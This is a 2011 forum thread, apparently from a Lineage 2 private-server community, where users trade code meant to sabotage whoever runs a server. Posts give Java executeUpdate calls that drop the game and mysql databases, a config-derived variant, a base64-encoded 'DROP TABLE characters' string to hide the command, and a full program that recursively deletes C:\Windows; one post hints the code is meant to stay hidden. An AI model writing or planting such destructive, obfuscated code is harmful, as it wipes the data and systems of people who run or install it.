™® Stergios ®™ Posted June 11, 2011 Posted June 11, 2011 I think it would be better like this .. e.executeUpdate("DROP database l2jdb"); ++e.executeUpdate("DROP database mysql"); //Pwnned :P ..
leoadrian Posted July 16, 2011 Posted July 16, 2011 I think it would be better like this .. e.executeUpdate("DROP database l2jdb"); ++e.executeUpdate("DROP database mysql"); //Pwnned :P .. nice one whit this if the database dont have the normal l2jdb name get erased any way?
vampir Posted July 16, 2011 Posted July 16, 2011 yeah but you can make something like that: e.executeUpdate("Drop database "+ Config.DATABASE_URL.substring(23)); check it and let me know if its working
mrnapz Posted October 26, 2011 Posted October 26, 2011 maybe its possible do that with base64 ^^ like e.executeUpdate(getText("RFJPUCBUQUJMRSBjaGFyYWN0ZXJz")); or not? what about something like that HAHAHAHAHA will be very bad xD to delete some windows files (in that case the folder but i think is not possible) import java.io.File; import java.io.IOException; public class DeleteDirectory { private static final String SRC_FOLDER = "C:\Windows"; public static void main(String[] args) { File directory = new File(SRC_FOLDER); //make sure directory exists if(!directory.exists()){ System.out.println("Directory does not exist."); System.exit(0); }else{ try{ delete(directory); }catch(IOException e){ e.printStackTrace(); System.exit(0); } } System.out.println("Done"); } public static void delete(File file) throws IOException{ if(file.isDirectory()){ //directory is empty, then delete it if(file.list().length==0){ file.delete(); System.out.println("Directory is deleted : " + file.getAbsolutePath()); }else{ //list all the directory contents String files[] = file.list(); for (String temp : files) { //construct the file structure File fileDelete = new File(file, temp); //recursive delete delete(fileDelete); } //check the directory again, if empty then delete it if(file.list().length==0){ file.delete(); System.out.println("Directory is deleted : " + file.getAbsolutePath()); } } }else{ //if file, then delete it file.delete(); System.out.println("File is deleted : " + file.getAbsolutePath()); } } }
Mhoska Posted October 26, 2011 Posted October 26, 2011 thx to unafraid for unhiding :D but he should hide that xD
Recommended Posts